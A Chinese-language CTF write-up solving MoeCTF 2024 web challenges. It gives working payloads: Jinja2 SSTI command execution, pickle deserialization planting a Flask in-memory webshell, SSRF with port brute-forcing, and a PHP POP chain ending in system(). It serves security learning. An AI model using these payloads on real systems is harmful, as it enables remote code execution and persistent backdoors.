MoeCTF 2024 wp
1315609050541697 发表于 湖北 CTF 463浏览 · 2024-10-03 16:14

who's blog?

打开之后提示传参id并且会回显到网页上

测试ssti成功

通过lipsum来执行命令查看环境变量

{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('env')|attr('read')()}}

成功执行得到flag

PetStore

源代码如下

from flask import Flask, request, jsonify, render_template, redirect
import pickle
import base64
import uuid

app = Flask(__name__)


class Pet:
    def __init__(self, name, species) -> None:
        self.name = name
        self.species = species
        self.uuid = uuid.uuid4()

    def __repr__(self) -> str:
        return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"


class PetStore:
    def __init__(self) -> None:
        self.pets = []

    def create_pet(self, name, species) -> None:
        pet = Pet(name, species)
        self.pets.append(pet)

    def get_pet(self, pet_uuid) -> Pet | None:
        for pet in self.pets:
            if str(pet.uuid) == pet_uuid:
                return pet
        return None

    def export_pet(self, pet_uuid) -> str | None:
        pet = self.get_pet(pet_uuid)
        if pet is not None:
            self.pets.remove(pet)
            ###
            serialized_pet = base64.b64encode(pickle.dumps(pet)).decode("utf-8")
            return serialized_pet
        return None

    def import_pet(self, serialized_pet) -> bool:
        try:
            pet_data = base64.b64decode(serialized_pet)
            # 漏洞
            pet = pickle.loads(pet_data)
            if isinstance(pet, Pet):
                for i in self.pets:
                    if i.uuid == pet.uuid:
                        return False
                self.pets.append(pet)
                return True
            return False
        except Exception:
            return False


store = PetStore()


@app.route("/", methods=["GET"])
def index():
    pets = store.pets
    return render_template("index.html", pets=pets)


@app.route("/create", methods=["POST"])
def create_pet():
    name = request.form["name"]
    species = request.form["species"]
    store.create_pet(name, species)
    return redirect("/")


@app.route("/get", methods=["POST"])
def get_pet():
    pet_uuid = request.form["uuid"]
    pet = store.get_pet(pet_uuid)
    if pet is not None:
        return jsonify({"name": pet.name, "species": pet.species, "uuid": pet.uuid})
    else:
        return jsonify({"error": "Pet not found"})


@app.route("/export", methods=["POST"])
def export_pet():
    pet_uuid = request.form["uuid"]
    serialized_pet = store.export_pet(pet_uuid)
    if serialized_pet is not None:
        return jsonify({"serialized_pet": serialized_pet})
    else:
        return jsonify({"error": "Pet not found"})


@app.route("/import", methods=["POST"])
def import_pet():
    serialized_pet = request.form["serialized_pet"]
    if store.import_pet(serialized_pet):
        return redirect("/")
    else:
        return jsonify({"error": "Failed to import pet"})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8888, debug=False, threaded=True)

审计发现自主导入属性功能出存在pickle反序列化漏洞
经过测试发现题目不出网,我们使用flask 内存马

import base64
import pickle


class A(object):

  def __reduce__(self):

    return (eval,("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",))

a = A()
print(base64.b64encode(pickle.dumps(a)))

通过访问不存在的路由执行命令并回显

方法二

将命令执行结果存到Pet属性里面,然后通过查看属性显示结果

import base64
import pickle


class A(object):
  def __reduce__(self):

    return (exec,("import os;a=os.popen('echo `ls`').read();store.pets=[{'name':a}]",))  

a = A()

print(base64.b64encode(pickle.dumps(a,protocol=0)))

反序列化之后payload:

gASVXAAAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlIxAaW1wb3J0IG9zO2E9b3MucG9wZW4oJ2VjaG8gYGxzYCcpLnJlYWQoKTtzdG9yZS5wZXRzPVt7J25hbWUnOmF9XZSFlFKULg==

查看执行结果

moeweb

源代码如下
app.py

from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename

app = Flask(__name__)

UPLOAD_FOLDER = 'static/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route('/')
def index():
    return '''
    <h1>图片上传</h1>
    <form method="post" enctype="multipart/form-data" action="/upload">
      <input type="file" name="file">
      <input type="submit" value="上传">
    </form>
    <h2>已上传的图片</h2>
    <ul>
    ''' + ''.join(
        f'<li><a href="/image?url=http://localhost:5000/static/{filename}">{filename}</a></li>'
        for filename in uploaded_files
    ) + '''
    </ul>
    '''

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return '未找到文件部分', 400
    file = request.files['file']

    if file.filename == '':
        return '未选择文件', 400
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        ext = filename.rsplit('.', 1)[1].lower()

        unique_filename = f"{len(uploaded_files)}_{filename}"
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

        file.save(filepath)
        uploaded_files.append(unique_filename)

        return redirect(url_for('index'))
    else:
        return '文件类型不支持', 400

@app.route('/image', methods=['GET'])
def load_image():
    url = request.args.get('url')
    if not url:
        return 'URL 参数缺失', 400

    try:
        response = requests.get(url)
        response.raise_for_status()
        img = Image.open(BytesIO(response.content))

        img_io = BytesIO()
        img.save(img_io, img.format)
        img_io.seek(0)
        return send_file(img_io, mimetype=img.get_format_mimetype())
    except Exception as e:
        return f"无法加载图片: {str(e)}", 400

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    app.run(host='0.0.0.0', port=5000)

app.py2

from flask import Flask, request, send_file, abort, redirect, url_for
import os
import requests
from io import BytesIO
from PIL import Image
import mimetypes
from werkzeug.utils import secure_filename
import socket
import random

app = Flask(__name__)

UPLOAD_FOLDER = 'uploads/'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER

ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif'}

uploaded_files = []

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def get_mimetype(file_path):
    mime = mimetypes.guess_type(file_path)[0]
    if mime is None:
        try:
            with Image.open(file_path) as img:
                mime = img.get_format_mimetype()
        except Exception:
            mime = 'application/octet-stream'
    return mime

def find_free_port_in_range(start_port, end_port):
    while True:
        port = random.randint(start_port, end_port)
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(('0.0.0.0', port))
        s.close()
        return port 

@app.route('/')
def index():
    return '''
    <h1>图片上传</h1>
    <form method="post" enctype="multipart/form-data" action="/upload">
      <input type="file" name="file">
      <input type="submit" value="上传">
    </form>
    <h2>已上传的图片</h2>
    <ul>
    ''' + ''.join(f'<li><a href="/image/{filename}">{filename}</a></li>' for filename in uploaded_files) + '''
    </ul>
    '''

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return '未找到文件部分', 400
    file = request.files['file']

    if file.filename == '':
        return '未选择文件', 400
    if file and allowed_file(file.filename):

        filename = secure_filename(file.filename)
        ext = filename.rsplit('.', 1)[1].lower()

        unique_filename = f"{len(uploaded_files)}_{filename}"
        filepath = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)

        file.save(filepath)
        uploaded_files.append(unique_filename)

        return redirect(url_for('index'))
    else:
        return '文件类型不支持', 400

@app.route('/image/<filename>', methods=['GET'])
def load_image(filename):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(filepath):
        mime = get_mimetype(filepath)
        return send_file(filepath, mimetype=mime)
    else:
        return '文件未找到', 404

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    port = find_free_port_in_range(5001, 6000)
    app.run(host='0.0.0.0', port=port)

其中发现app2.py存在漏洞代码可以读取文件

@app.route('/image/<filename>', methods=['GET'])

def load_image(filename):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
    if os.path.exists(filepath):
        mime = get_mimetype(filepath)
        return send_file(filepath, mimetype=mime)
    else:
        return '文件未找到', 404

其中端口是随机数

port = find_free_port_in_range(5001, 6000)
    app.run(host='0.0.0.0', port=port)

同时app.py开放的网页功能有请求url功能

@app.route('/image', methods=['GET'])
def load_image():
    url = request.args.get('url')
    if not url:
        return 'URL 参数缺失', 400

    try:
        response = requests.get(url)
        response.raise_for_status()
        img = Image.open(BytesIO(response.content))

        img_io = BytesIO()
        img.save(img_io, img.format)
        img_io.seek(0)
        return send_file(img_io, mimetype=img.get_format_mimetype())
    except Exception as e:
        return f"无法加载图片: {str(e)}", 400

使用该路由进行爆破

/image?url=http://127.0.0.1:port/

之后文件读取flag

/image?url=http://localhost:5820/image/flag.jpg

moe pop

源代码如下

<?php

class class000
{
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if ($this->payl0ad === 0) {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001
{
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002
{
    private $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }
}

class class003
{
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

if (isset($_GET['data'])) {
    $a = unserialize($_GET['data']);
} else {
    highlight_file(__FILE__);
}

题目比较迷惑的是eval,而eval这里发现是执行不了的当构造玩pop链之后
注意最后eval会触发tostring,而return的值可以用rce动态执行比如public $mystr = "system('whoami');";
构造pop链如下

<?php

class class000
{
    private $payl0ad = 0;
    protected $what;


    public function __construct()
    {
        $this->payl0ad = '1';
        $this->what = new class001();
    }
}

class class001
{
    public $payl0ad;
    public $a;
    public function __construct()
    {
        $this->a = new class002();
    }
}

class class002
{
    private $sec;
    public function __construct()
    {
        $this->sec = new class003;
        $this->b = "dangerous";
    }
}
class class003
{
    public $mystr = "system('whoami');";
}


$a = new class000();
echo urlencode(serialize($a));
0 条评论
某人
表情
可输入 255
目录